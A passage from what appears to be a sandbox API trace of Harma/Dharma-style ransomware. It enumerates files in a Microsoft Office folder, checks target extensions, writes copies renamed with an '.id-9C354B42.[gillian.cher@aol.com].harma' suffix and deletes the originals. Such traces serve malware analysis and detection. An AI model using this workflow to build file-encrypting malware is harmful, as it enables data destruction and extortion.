(lpString=".ppt") returned 4 [0152.409] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0152.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.409] lstrlenW (lpString=".zip") returned 4 [0152.409] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0152.409] lstrlenW (lpString=".rar") returned 4 [0152.409] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0152.409] lstrlenW (lpString=".bz2") returned 4 [0152.409] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0152.409] lstrlenW (lpString=".7z") returned 3 [0152.409] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0152.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.410] lstrlenW (lpString=".dbf") returned 4 [0152.410] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0152.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.410] lstrlenW (lpString=".1cd") returned 4 [0152.410] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0152.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.410] lstrlenW (lpString=".jpg") returned 4 [0152.410] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0152.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.410] lstrlenW (lpString=".doc") returned 4 [0152.410] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0152.410] lstrlenW (lpString=".docx") returned 5 [0152.410] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0152.410] lstrlenW (lpString=".pdf") returned 4 [0152.410] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0152.410] lstrlenW (lpString=".xls") returned 4 [0152.410] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0152.410] lstrlenW (lpString=".xlsx") returned 5 [0152.410] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0152.410] lstrlenW (lpString=".ppt") returned 4 [0152.410] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0152.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.411] lstrlenW (lpString=".zip") returned 4 [0152.411] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0152.411] lstrlenW (lpString=".rar") returned 4 [0152.411] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0152.411] lstrlenW (lpString=".bz2") returned 4 [0152.411] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0152.411] lstrlenW (lpString=".7z") returned 3 [0152.411] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0152.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.411] lstrlenW (lpString=".dbf") returned 4 [0152.411] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0152.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.411] lstrlenW (lpString=".1cd") returned 4 [0152.411] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0152.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.411] lstrlenW (lpString=".jpg") returned 4 [0152.411] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0152.411] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0152.412] lstrlenW (lpString="GRAPH_COL.HXT") returned 13 [0152.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.412] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=205) returned 1 [0152.412] CloseHandle (hObject=0x384) returned 1 [0152.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 0x20 [0152.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.443] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.443] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.444] GetLastError () returned 0x0 [0152.444] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xcd, lpOverlapped=0x0) returned 1 [0152.446] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0152.447] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.447] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xee, lpOverlapped=0x0) returned 1 [0152.447] SetEndOfFile (hFile=0x380) returned 1 [0152.447] CloseHandle (hObject=0x380) returned 1 [0152.448] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.448] SetEndOfFile (hFile=0x384) returned 1 [0152.450] CloseHandle (hObject=0x384) returned 1 [0152.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 1 [0152.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.451] lstrlenW (lpString=".doc") returned 4 [0152.451] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0152.451] lstrlenW (lpString=".docx") returned 5 [0152.452] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0152.452] lstrlenW (lpString=".pdf") returned 4 [0152.452] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0152.452] lstrlenW (lpString=".xls") returned 4 [0152.452] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0152.452] lstrlenW (lpString=".xlsx") returned 5 [0152.452] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0152.452] lstrlenW (lpString=".ppt") returned 4 [0152.452] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0152.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.452] lstrlenW (lpString=".zip") returned 4 [0152.452] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0152.452] lstrlenW (lpString=".rar") returned 4 [0152.452] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0152.452] lstrlenW (lpString=".bz2") returned 4 [0152.452] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0152.452] lstrlenW (lpString=".7z") returned 3 [0152.452] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0152.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.452] lstrlenW (lpString=".dbf") returned 4 [0152.452] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0152.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.452] lstrlenW (lpString=".1cd") returned 4 [0152.452] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0152.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.452] lstrlenW (lpString=".jpg") returned 4 [0152.452] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0152.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.453] lstrlenW (lpString=".doc") returned 4 [0152.453] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0152.453] lstrlenW (lpString=".docx") returned 5 [0152.453] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0152.453] lstrlenW (lpString=".pdf") returned 4 [0152.453] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0152.453] lstrlenW (lpString=".xls") returned 4 [0152.453] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0152.453] lstrlenW (lpString=".xlsx") returned 5 [0152.453] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0152.453] lstrlenW (lpString=".ppt") returned 4 [0152.453] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0152.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.453] lstrlenW (lpString=".zip") returned 4 [0152.453] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0152.453] lstrlenW (lpString=".rar") returned 4 [0152.453] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0152.453] lstrlenW (lpString=".bz2") returned 4 [0152.453] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0152.453] lstrlenW (lpString=".7z") returned 3 [0152.453] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0152.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.453] lstrlenW (lpString=".dbf") returned 4 [0152.454] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0152.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.454] lstrlenW (lpString=".1cd") returned 4 [0152.454] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0152.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0152.454] lstrlenW (lpString=".jpg") returned 4 [0152.454] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0152.454] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0152.454] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15 [0152.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.455] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0152.455] CloseHandle (hObject=0x384) returned 1 [0152.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 0x20 [0152.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.456] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.456] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.457] GetLastError () returned 0x0 [0152.457] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0152.736] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0152.737] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.737] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0152.737] SetEndOfFile (hFile=0x380) returned 1 [0152.737] CloseHandle (hObject=0x380) returned 1 [0152.737] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.738] SetEndOfFile (hFile=0x384) returned 1 [0152.741] CloseHandle (hObject=0x384) returned 1 [0152.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 1 [0152.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.775] lstrlenW (lpString=".doc") returned 4 [0152.775] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0152.775] lstrlenW (lpString=".docx") returned 5 [0152.775] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0152.775] lstrlenW (lpString=".pdf") returned 4 [0152.775] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0152.775] lstrlenW (lpString=".xls") returned 4 [0152.775] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0152.776] lstrlenW (lpString=".xlsx") returned 5 [0152.776] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0152.776] lstrlenW (lpString=".ppt") returned 4 [0152.776] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0152.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.776] lstrlenW (lpString=".zip") returned 4 [0152.776] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0152.776] lstrlenW (lpString=".rar") returned 4 [0152.776] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0152.776] lstrlenW (lpString=".bz2") returned 4 [0152.776] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0152.776] lstrlenW (lpString=".7z") returned 3 [0152.776] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0152.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.776] lstrlenW (lpString=".dbf") returned 4 [0152.776] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0152.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.776] lstrlenW (lpString=".1cd") returned 4 [0152.776] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0152.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.776] lstrlenW (lpString=".jpg") returned 4 [0152.776] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0152.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.777] lstrlenW (lpString=".doc") returned 4 [0152.777] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0152.777] lstrlenW (lpString=".docx") returned 5 [0152.777] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0152.777] lstrlenW (lpString=".pdf") returned 4 [0152.777] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0152.777] lstrlenW (lpString=".xls") returned 4 [0152.777] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0152.777] lstrlenW (lpString=".xlsx") returned 5 [0152.777] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0152.777] lstrlenW (lpString=".ppt") returned 4 [0152.777] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0152.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.777] lstrlenW (lpString=".zip") returned 4 [0152.777] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0152.777] lstrlenW (lpString=".rar") returned 4 [0152.777] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0152.777] lstrlenW (lpString=".bz2") returned 4 [0152.777] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0152.777] lstrlenW (lpString=".7z") returned 3 [0152.777] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0152.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.777] lstrlenW (lpString=".dbf") returned 4 [0152.778] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0152.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.778] lstrlenW (lpString=".1cd") returned 4 [0152.778] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0152.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0152.778] lstrlenW (lpString=".jpg") returned 4 [0152.778] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0152.778] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0152.778] lstrlenW (lpString="GRINTL32.DLL") returned 12 [0152.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.818] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=208256) returned 1 [0152.818] CloseHandle (hObject=0x208) returned 1 [0152.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll")) returned 0x20 [0153.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.599] lstrlenW (lpString=".doc") returned 4 [0154.599] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.599] lstrlenW (lpString=".docx") returned 5 [0154.599] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.599] lstrlenW (lpString=".pdf") returned 4 [0154.599] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.599] lstrlenW (lpString=".xls") returned 4 [0154.599] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.599] lstrlenW (lpString=".xlsx") returned 5 [0154.600] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.600] lstrlenW (lpString=".ppt") returned 4 [0154.600] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.600] lstrlenW (lpString=".zip") returned 4 [0154.600] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.600] lstrlenW (lpString=".rar") returned 4 [0154.600] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.600] lstrlenW (lpString=".bz2") returned 4 [0154.600] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.600] lstrlenW (lpString=".7z") returned 3 [0154.600] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.600] lstrlenW (lpString=".dbf") returned 4 [0154.600] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.600] lstrlenW (lpString=".1cd") returned 4 [0154.600] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.600] lstrlenW (lpString=".jpg") returned 4 [0154.600] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.600] lstrlenW (lpString=".doc") returned 4 [0154.600] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.600] lstrlenW (lpString=".docx") returned 5 [0154.600] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.601] lstrlenW (lpString=".pdf") returned 4 [0154.601] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.601] lstrlenW (lpString=".xls") returned 4 [0154.601] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.601] lstrlenW (lpString=".xlsx") returned 5 [0154.601] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.601] lstrlenW (lpString=".ppt") returned 4 [0154.601] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.601] lstrlenW (lpString=".zip") returned 4 [0154.601] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.601] lstrlenW (lpString=".rar") returned 4 [0154.601] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.601] lstrlenW (lpString=".bz2") returned 4 [0154.601] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.601] lstrlenW (lpString=".7z") returned 3 [0154.601] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.601] lstrlenW (lpString=".dbf") returned 4 [0154.601] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.601] lstrlenW (lpString=".1cd") returned 4 [0154.601] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0154.601] lstrlenW (lpString=".jpg") returned 4 [0154.601] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.602] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0154.602] lstrlenW (lpString="HVACDIFF.VRD") returned 12 [0154.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 